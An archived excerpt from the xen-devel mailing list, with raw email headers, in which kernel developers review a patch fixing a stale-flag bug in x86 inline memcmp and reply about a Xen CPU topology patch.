>>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
>>>  {
>>>  	bool diff;
>>>  
>>> -	asm("repe cmpsb"
>>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>>> +	if (len == 0)
>>> +		return 0;
>>> +
>>> +	asm volatile("repe cmpsb"
>>> +		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>>> +		     : : "cc", "memory");
>>>  
>>>  	return diff;
>>>  }
>>
>>So this is a fix which should probably go to stable, I think. Going back into
>>git history, it points to
>>
>>  62bd0337d0c4 ("Top header file for new x86 setup code")
>>
>>from 2007. And we have carried it this way through the years and who knows
>>what hit this or not. So please make this the first patch in your set - you
>>can even send it separately so that I can get route it through stable.
>>
>>Then you can base the rest ontop.
>>
>>Thx.
>>
> 
> Also, this is silly. Instead of adding a whole separate test, just do "test %3,%3" before the repe to set ZF and let the REPE skip.

This is elegant; done. Thanks!

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:27:08 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:27:08 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369730.1618291 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2oh-0003wV-Mv; Thu, 23 Jul 2026 23:27:03 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369730.1618291; Thu, 23 Jul 2026 23:27:03 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn2oh-0003wO-KC; Thu, 23 Jul 2026 23:27:03 +0000
Received: by outflank-mailman (input) for mailman id 1369730;
 Thu, 23 Jul 2026 23:27:02 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn2og-0003wI-FC
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:27:02 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn2of-0038pO-Dj
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:27:01 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a2e0-5cb7-0a2a0a5109dd-0a2a4502b998-26
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:27:01 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62a344-6ca4-0a2a45020019-d561b338a7e8-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:27:01 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn2oM-003e8A-1v; Fri, 24 Jul 2026 01:26:42 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wn2oJ-001vz2-GQ; Fri, 24 Jul 2026 01:26:41 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wn2oJ-000000031ty-1Ci6;
 Fri, 24 Jul 2026 01:26:39 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To
	:From:Date:MIME-Version:From:Reply-To;
	bh=fLZIWX2wSccqFNik9bhUsUlx9S80wKp6f12wJ1NBHj8=; b=cr/zucLaHLMdD0S1h4riL0nIts
	y9InaI9oC8hrKeP2gFjWw0b0i9wSmasJfpAB4xnXGfLPgtnp5mLkvrJ3rIGzB2bR+iTQivVTKjl5j
	jvXq/qnpoZrCAX6GfXffP9sL7/Ne5nvBUBxKsupykJC3Zm4pU6BzgBpn4teszoaokNz7yWfvy11lb
	D057F9tzX/JozgyY1E3QxOw4GiJ6GMlbAsuCsIPlICBumzEEzYMCLY8eS3pSYRJbLv6CaqSkifuq/
	Ir88SDy8SpbFTp0XZs5uqeFvFWHJqSy4mZ0YELdNC8Vlv/LinUBe/R5GPrebmCarOR81IfKhuHNGu
	aONrK+Yg==;
MIME-Version: 1.0
Date: Thu, 23 Jul 2026 20:26:39 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: "H. Peter Anvin" <hpa@zytor.com>
Cc: Borislav Petkov <bp@alien8.de>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 x86@kernel.org, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
In-Reply-To: <829A5D01-29A2-454E-AE78-AEAD8FC597E6@zytor.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
 <20260722170334.GCamD35gwrCng30WH1@fat_crate.local>
 <829A5D01-29A2-454E-AE78-AEAD8FC597E6@zytor.com>
Message-ID: <182aa568ea05a0f1297d307a169eb687@igalia.com>
X-Sender: mfo@igalia.com
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Spam-Report: NO, Score=-2.2, Tests=ALL_TRUSTED=-3,BAYES_50=0.8
X-Spam-Score: -21
X-Spam-Bar: --
X-purgate-ID: tlsNG-720697/1784849221-66CB22AC-13660725/0/0
X-purgate-type: clean
X-purgate-size: 2532

On 2026-07-22 15:48, H. Peter Anvin wrote:
> On July 22, 2026 10:03:34 AM PDT, Borislav Petkov <bp@alien8.de> wrote:
>>hpa in To:.
>>
>>On Tue, Jul 21, 2026 at 12:56:43PM -0300, Mauricio Faria de Oliveira wrote:
>>> Add the volatile qualifier and clobbers parameter to prevent bugs with
>>> instruction reordering and optimization.
>>> 
>>> Also check the zero-length case, as the 'repe' prefix does not run the
>>> 'cmpsb' instruction if the 'count' register is zero, which doesn't set
>>
>>Please use capital letters for insns: REPE, CMPSB and you don't need to put
>>words in '' - it reads fine without them.
>>
>>> the condition-code/zero flag, so the result is based on a stale flag.
>>> 
>>> Those are pre-existing issues found by Sashiko.
>>> 
>>> Link: https://sashiko.dev/#/patchset/20260701-pvh-kasan-inline-v6-0-ba99045dfa9f%40igalia.com
>>> Signed-off-by: Mauricio Faria de Oliveira <mfo@igalia.com>
>>> ---
>>>  arch/x86/include/asm/shared/string.h | 8 ++++++--
>>>  1 file changed, 6 insertions(+), 2 deletions(-)
>>> 
>>> diff --git a/arch/x86/include/asm/shared/string.h b/arch/x86/include/asm/shared/string.h
>>> index 02b92927553f7b8e1c87e6122bbaa70439e57ea7..166274e44f3cb49e3dccab3cdac281d67aef5d44 100644
>>> --- a/arch/x86/include/asm/shared/string.h
>>> +++ b/arch/x86/include/asm/shared/string.h
>>> @@ -11,8 +11,12 @@ static __always_inline int __inline_memcmp(const void *s1, const void *s2, size_
>>>  {
>>>  	bool diff;
>>>  
>>> -	asm("repe cmpsb"
>>> -	    : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len));
>>> +	if (len == 0)
>>> +		return 0;
>>> +
>>> +	asm volatile("repe cmpsb"
>>> +		     : "=@ccnz" (diff), "+D" (s1), "+S" (s2), "+c" (len)
>>> +		     : : "cc", "memory");
>>>  
>>>  	return diff;
>>>  }
>>
>>So this is a fix which should probably go to stable, I think. Going back into
>>git history, it points to
>>
>>  62bd0337d0c4 ("Top header file for new x86 setup code")
>>
>>from 2007. And we have carried it this way through the years and who knows
>>what hit this or not. So please make this the first patch in your set - you
>>can even send it separately so that I can get route it through stable.
>>
>>Then you can base the rest ontop.
>>
>>Thx.
>>
> 
> I suspect that the zero-length case simply can't happen in the real code, but who knows; the use of the code has expanded over the years.

Agreed, and its use may expand more in the future, being in a header
(e.g., this very series :)

Thanks,

-- 
Mauricio


From xen-devel-bounces@lists.xenproject.org Thu Jul 23 23:59:33 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Thu, 23 Jul 2026 23:59:33 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369744.1618300 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn3K1-00019F-4D; Thu, 23 Jul 2026 23:59:25 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369744.1618300; Thu, 23 Jul 2026 23:59:25 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn3K1-000198-18; Thu, 23 Jul 2026 23:59:25 +0000
Received: by outflank-mailman (input) for mailman id 1369744;
 Thu, 23 Jul 2026 23:59:24 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <taka@valinux.co.jp>) id 1wn3Jz-000192-6p
 for xen-devel@lists.xenproject.org; Thu, 23 Jul 2026 23:59:24 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn3Jy-00H4h7-9i
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 01:59:22 +0200
Received: from [10.42.69.2] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a62a9d5-bab6-0a2a0a5309dd-0a2a4502dd36-14
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:59:20 +0200
Received: from [52.101.125.140]
 (helo=TYVP286CU001.outbound.protection.outlook.com)
 by tlsNG-720697.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <taka@valinux.co.jp>)
 id 6a62aad5-6ca4-0a2a45020019-34657d8c8971-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 01:59:19 +0200
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM (2603:1096:604:458::18)
 by TY4P286MB5663.JPNP286.PROD.OUTLOOK.COM (2603:1096:405:2d1::12)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.11; Thu, 23 Jul
 2026 23:59:14 +0000
Received: from OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6]) by OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
 ([fe80::c8c9:25cd:8d13:96d6%6]) with mapi id 15.21.0245.010; Thu, 23 Jul 2026
 23:59:14 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=valinux.co.jp header.i="@valinux.co.jp" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:x-ms-exchange-senderadcheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=d2zj00JxiSnkIe6YxPhbaj73QVIp8XqaMqzYI+d46gIOlzA2q5ZzdSnAW/jpCG1YLdiXVvM+UZWpe/T4WcgK3O70tn/H2gugj+8Ywdlrv6T/n/x4We4UutRK87gNokbDAHbqRpci4lNoDg76vuYPWzS6o4CgLr5wigJ3vgm+fl7Ev9zFJcvbb5FFfDMKMphyloEO9CBRI0+cjmWa9YOAqombSRE5Sc4BLnzS+wVs+GDrCwarjJPGZdEh3ZlOc5GbdVaPwDRAI451oS+v+oHle8rF4P6DenDuyrTMqXY7Iyz99WJOfRGVaWbup9TaszQtZnJrgR7StJ1H2GW+jCzQnw==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=13dEvq/ewY/xexku2x0QJbrao3fVtokZRbReHLDqpNY=;
 b=SAQpWusMwKLyKdTeRa9qtzPof4rNxhBD1BtCJuf8JKWFewBea6ov2iKxufuJcf5ilQ7AByEA5/9HfZllr3Wx6LDpajYp96N0hNCqalzeP11e3wPxyIV8wGhu+Bxg99wUnFGghtoffB9TXKq51ER9Dq18SlFGb1ir9rc57RYwmMrS7wQG93nehsZt1SnZRGuy2pXACgfnn4u0+4j1zmVqzp6/RzGv4fE0RDEBLh3WuVaNV5Jb2IP5IHMC+OjYl3sKv6oMazqs8FeWZUf21jARqa4McSUEiVt2eFvkbT2BHL5OitlV3FCNq9xiVwS5oP+UXrZ6Na1Lv9ovO511rcPWhw==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=valinux.co.jp; dmarc=pass action=none
 header.from=valinux.co.jp; dkim=pass header.d=valinux.co.jp; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=valinux.co.jp;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=13dEvq/ewY/xexku2x0QJbrao3fVtokZRbReHLDqpNY=;
 b=FHTj4dBeoZBnE/WnR8Qz3zNP86rEzIDo3+CJVPNiVhwxgEITppzIawZvy28e/geTmwf4CPFa/IuI4Ho7PHDH/5/BlGNwAAy8LrXs6PSulIeYuNTGzujPs+UAMN0f4i9DQtTsMnGETiZf1xi/3niR5tb/L8ICc3u6QVWJqmXLSSQ=
From: Hirokazu Takahashi <taka@valinux.co.jp>
To: Jan Beulich <jbeulich@suse.com>
CC: "Mykyta_Poturai@epam.com" <Mykyta_Poturai@epam.com>, Stefano Stabellini
	<sstabellini@kernel.org>, Julien Grall <julien@xen.org>, Bertrand Marquis
	<bertrand.marquis@arm.com>, Michal Orzel <michal.orzel@amd.com>, Volodymyr
 Babchuk <Volodymyr_Babchuk@epam.com>, Andrew Cooper
	<andrew.cooper3@citrix.com>, Anthony PERARD <anthony.perard@vates.tech>,
	=?utf-8?B?Um9nZXIgUGF1IE1vbm7DqQ==?= <roger@xenproject.org>,
	"xen-devel@lists.xenproject.org" <xen-devel@lists.xenproject.org>
Subject: RE: [PATCH v7 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Topic: [PATCH v7 1/5] xen/device-tree: Parse 'cpu-map' node for CPU
 topology exploration
Thread-Index: AQHdGGUCLSiIMXaUSUq2V68Fo2g2DrZ7KGyAgACkGPA=
Date: Thu, 23 Jul 2026 23:59:14 +0000
Message-ID:
 <OS9P286MB7222C0714304BA316DD42A4382C02@OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM>
References: <20260720162819.308326-1-taka@valinux.co.jp>
 <20260720162819.308326-2-taka@valinux.co.jp>
 <88b09f24-13c6-427b-b7a9-aa631e59420a@suse.com>
In-Reply-To: <88b09f24-13c6-427b-b7a9-aa631e59420a@suse.com>
Accept-Language: ja-JP, en-US
Content-Language: ja-JP
X-MS-Has-Attach:
X-MS-TNEF-Correlator:
authentication-results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=valinux.co.jp;
x-ms-publictraffictype: Email
x-ms-traffictypediagnostic: OS9P286MB7222:EE_|TY4P286MB5663:EE_
x-ms-office365-filtering-correlation-id: aacdc449-0891-4497-5995-08dee91665df
x-ms-exchange-senderadcheck: 1
x-ms-exchange-antispam-relay: 0
x-microsoft-antispam:
 BCL:0;ARA:13230040|376014|7416014|1800799024|23010399003|366016|18002099003|22082099003|38070700021|56012099006|4143699003|10067099003;
x-microsoft-antispam-message-info:
 H4VoKmpy89gmaIUUqZczVHV4h5vHY57HJhFGhq7Yeexgtws+oeIv4uUgrlYrZ9Uv4497f1QF9sp0Sxpkp8UkXzFSUHfhiyO8xjdkmHrZBzb3t8lnzbiKpVcl0j2adx70GWby0WX/Wf8yN8QZxKEYa7TiBRZx1hlAZBF7pataNexQaNxTb7/OXYGbmk5atlhTeX8k8axjKPPeMCIXNXnQxFT6HJFlg59DaW16TXCUJMkRn+pA2KO9C29U24e+rYJrvJqrEySD9rk0cnUjWqR2RCKuX7JjygzQZOIkfxrPeJUOd/U++fRWttXZbXqz0Tq9brrqpUuGOzVN8p8rHnGkX8hd/RyXpEhwUVk3xttlvhkaIVUmgwMY5+e4DaU+gRjGjy82EVcYFbHr4MJ1UDgXSWylgQlGOOysRnVzX5ueAThnYv1a5ByyJiAYSqoJ3uYOKJH+38XFNRVxc5MYypeZMRyBRZewcmCVRvREgsfpx/dkGYmgpDJ0rEsuhA1UOtHq7IvMylkBVulVGMXK31qWl3dprOYqtpUOxqWPK2Lxg7mNK5L7HqOKx/T2CgteAzv8xNFnY1EhWTiJVrV+mAlL+lE72mBU7yJSB7wf9An7Mv5Hbb+wb+yztgDavxU0NAwBWfqJnz40koj2B6Lu1PmaBjaFJWC2GlVd9ERyAQYonHB78mQBk5emV98J2thwcCuTD8VlHWwVW6b7vOgA4HPJkR31u37dnSiCgtV/7k0wf1s=
x-forefront-antispam-report:
 CIP:255.255.255.255;CTRY:;LANG:ja;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM;PTR:;CAT:NONE;SFS:(13230040)(376014)(7416014)(1800799024)(23010399003)(366016)(18002099003)(22082099003)(38070700021)(56012099006)(4143699003)(10067099003);DIR:OUT;SFP:1102;
x-ms-exchange-antispam-messagedata-chunkcount: 1
x-ms-exchange-antispam-messagedata-0:
 =?utf-8?B?ZGlvUi9CM2tEU3M2SzNpemdjR0dkL2JrOFM2aGgydVhleHowUU5nNmRhczR4?=
 =?utf-8?B?V0kySm9Xa1ZGVHQ1VWZVbkRoTGx5Y1FEc0RKSkRhd1hVQ2VaL0cwd3M3S3Yv?=
 =?utf-8?B?L1ErYVIxdm9NWGpZVDJpSXdYMkRMZWJKSVhjV2JNTGNJZjNDWVFIbXpTNTNK?=
 =?utf-8?B?ekNpbmN6dElMSkRXY0FTVDJscHcvdk42dnJvdE02bzliRk44NWpBcHFWaDA1?=
 =?utf-8?B?bTN5M1pITkJlZkdnQ1BTY3dONGxWbkJnWEJQOVpwMVpUL28rYm51MTI3b1B5?=
 =?utf-8?B?dmo3V0VpN1ArbmhlbUQ5SnRlZ1dVYlFhTm9pazlWdGxUWUhKSzlib1VKcWFq?=
 =?utf-8?B?RmV3dmpPRCsxTy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8?B?WTlTcXlFazNnN1FENlJ5MXR1eTZHSlRHL1BMNDlJYzBtOVk0U0JrRW43V01m?=
 =?utf-8?B?RHF0SHZOZGtZNmlJNkxSKzM4OUdtWXVES211NlJ6dFNqczdESzZxWUhuYll2?=
 =?utf-8?B?RUljWEp3RXgyaGdsMnI3N1dTMmVyMG1lR3F5dkVIbmxqd05TTi91SWpGQjVY?=
 =?utf-8?Q?vXJ/i8d+paV+rbeDDE?=
Content-Type: text/plain; charset="utf-8"
Content-Transfer-Encoding: base64
MIME-Version: 1.0
X-OriginatorOrg: valinux.co.jp
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-AuthSource: OS9P286MB7222.JPNP286.PROD.OUTLOOK.COM
X-MS-Exchange-CrossTenant-Network-Message-Id: aacdc449-0891-4497-5995-08dee91665df
X-MS-Exchange-CrossTenant-originalarrivaltime: 23 Jul 2026 23:59:14.0244
 (UTC)
X-MS-Exchange-CrossTenant-fromentityheader: Hosted
X-MS-Exchange-CrossTenant-id: 7a57bee8-f73d-4c5f-a4f7-d72c91c8c111
X-MS-Exchange-CrossTenant-mailboxtype: HOSTED
X-MS-Exchange-CrossTenant-userprincipalname: CwYdD2JMpGps0l/tAfU6iNH7uFw3sKct3CMDqwZZjSxJOYF+SUAl5wB63ONvIzJgLg+3twdAf0ZEc4NKzI6pjQ==
X-MS-Exchange-Transport-CrossTenantHeadersStamped: TY4P286MB5663
X-purgate-ID: tlsNG-720697/1784851160-F32B12AC-00685305/0/0
X-purgate-type: clean
X-purgate-size: 1946

SGkgSmFuLA0KDQpUaGFuayB5b3UgZm9yIHRoZSByZXZpZXdpbmcuDQoNCj4gPiArICAgIGZvciAo
IGNwdSA9IDA7IGNwdSA8IG5yX2NwdV9pZHM7IGNwdSsrICkNCj4gPiArICAgIHsNCj4gPiArICAg
ICAgICBpZiAoICF6YWxsb2NfY3B1bWFza192YXIoJmNwdV90b3BvbG9neVtjcHVdLnRocmVhZF9z
aWJsaW5nKQ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bHVkZWQgaW1wbGljaXRs
eS4NCg0KT2theSwNCiANCj4gPiAtLS0gYS94ZW4vZHJpdmVycy9hY3BpL0tjb25maWcNCj4gPiAr
KysgYi94ZW4vZHJpdmVycy9hY3BpL0tjb25maWcNCj4gPiBAQCAtMiw2ICsyLDkgQEANCj4gPiAg
Y29uZmlnIEFDUEkNCj4gPiAgCWJvb2wNCj4gPg0KPiA+ICtjb25maWcgQUNQSV9DUFVfVE9QT0xP
R1kNCj4gPiArCWJvb2wNCj4gPiArDQo+ID4gIGNvbmZpZyBBQ1BJX0xFR0FDWV9UQUJMRVNfTE9P
S1VQDQo+ID4gIAlib29sDQo+ID4NCj4gDQo+IERpZCB5b3UgZm9yZ2V0IHRvIHVuZG8gdGhpcyBj
aGFuZ2U/DQoNCk9vcHMsIEkgd2lsbCByZW1vdmUgaXQuDQoNCj4gV2l0aCBhbGwgdGhyZWUgYWRq
dXN0bWVudHM6DQo+IFJldmlld2VkLWJ5OiBKYW4gQmV1bGljaCA8amJldWxpY2hAc3VzZS5jb20+
ICMgY29tbW9uLCBhY3BpDQoNClRoYW5rIHlvdSwNCkhpcm9rYXp1IFRha2FoYXNoaS4NCg==


From xen-devel-bounces@lists.xenproject.org Fri Jul 24 00:35:53 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 24 Jul 2026 00:35:53 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1369762.1618309 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn3t1-0007Uy-3s; Fri, 24 Jul 2026 00:35:35 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1369762.1618309; Fri, 24 Jul 2026 00:35:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wn3t1-0007Ur-12; Fri, 24 Jul 2026 00:35:35 +0000
Received: by outflank-mailman (input) for mailman id 1369762;
 Fri, 24 Jul 2026 00:35:32 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mfo@igalia.com>) id 1wn3sy-0007Ul-HH
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 00:35:32 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wn3sx-00H7aB-Co
 for xen-devel@lists.xenproject.org; Fri, 24 Jul 2026 02:35:31 +0200
Received: from [10.42.69.4] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62b2f0-e002-0a2a0a5209dd-0a2a45048ad0-48
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 02:35:30 +0200
Received: from [213.97.179.56] (helo=fanzine2.igalia.com)
 by tlsNG-ebf023.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mfo@igalia.com>)
 id 6a62b350-b57f-0a2a45040019-d561b33881da-3
 for <xen-devel@lists.xenproject.org>; Fri, 24 Jul 2026 02:35:29 +0200
Received: from maestria.local.igalia.com ([192.168.10.14] helo=mail.igalia.com)
 by fanzine2.igalia.com with esmtps 
 (Cipher TLS1.3:ECDHE_SECP256R1__RSA_PSS_RSAE_SHA256__AES_256_GCM:256) (Exim)
 id 1wn3sX-003fP3-Lm; Fri, 24 Jul 2026 02:35:05 +0200
Received: from webmail.service.igalia.com ([192.168.21.45])
 by mail.igalia.com with esmtp (Exim)
 id 1wn3sV-001zJH-53; Fri, 24 Jul 2026 02:35:05 +0200
Received: from localhost ([127.0.0.1] helo=webmail.igalia.com)
 by webmail.service.igalia.com with esmtp (Exim 4.98.2)
 (envelope-from <mfo@igalia.com>) id 1wn3sU-000000032Rd-3vQK;
 Fri, 24 Jul 2026 02:35:02 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=20170329 header.d=igalia.com header.i="@igalia.com" header.h="Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To:From:Date:MIME-Version"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed; d=igalia.com;
	s=20170329; h=Content-Transfer-Encoding:Content-Type:Message-ID:Subject:Cc:To
	:From:Date:MIME-Version:From:Reply-To;
	bh=za9DVNeNQi2CkxfiaNpm43Br1tng2ZjZAAgVDdOwwuk=; b=crJzBPGuYnh42uDIAkGdg9100i
	cSwv8BdzsmzDDmyeYB6+8Rk5tCfr/WYJRGisnmywBCTKpYUjED51+phtVyvri8UXmmjfykOy8NTwS
	M2bD0OIukZo0Bp3rm9hX3kGWAsW8gXUAEZPh/lqHDyU6B2HgslnbWu1X9lTOIuNPyKpZ5RxATZczR
	/RxF8egA4Phr8JBySYycZx82VlPnbF+z6/eOlOT6+/ynMVwiyeA0ofe2Y4Y3fuzj6AELlH5MLkdS6
	LASl3I04JBBWmQcoKEowBigorxQ+yyu6oG2YPQsMWduO2R4WFpOVLo5Hqum80pctA9a6UigvaCNU8
	fPU+Gi9g==;
MIME-Version: 1.0
Date: Thu, 23 Jul 2026 21:35:02 -0300
From: Mauricio Faria de Oliveira <mfo@igalia.com>
To: "H. Peter Anvin" <hpa@zytor.com>, Borislav Petkov <bp@alien8.de>
Cc: Jan Beulich <jbeulich@suse.com>, Thomas Gleixner <tglx@kernel.org>, Ingo
 Molnar <mingo@redhat.com>, Dave Hansen <dave.hansen@linux.intel.com>,
 x86@kernel.org, Juergen Gross <jgross@suse.com>, Alexey Dobriyan
 <adobriyan@gmail.com>, Boris Ostrovsky <boris.ostrovsky@oracle.com>,
 kernel-dev@igalia.com, linux-kernel@vger.kernel.org,
 xen-devel@lists.xenproject.org
Subject: Re: [PATCH v7 2/5] x86/asm: add volatile, clobbers and zero-length
 check in inline memcmp
In-Reply-To: <5e19b195-0ca2-4510-81cb-497b40e4aaf5@zytor.com>
References: <20260721-pvh-kasan-inline-v7-0-38979a50cef0@igalia.com>
 <20260721-pvh-kasan-inline-v7-2-38979a50cef0@igalia.com>
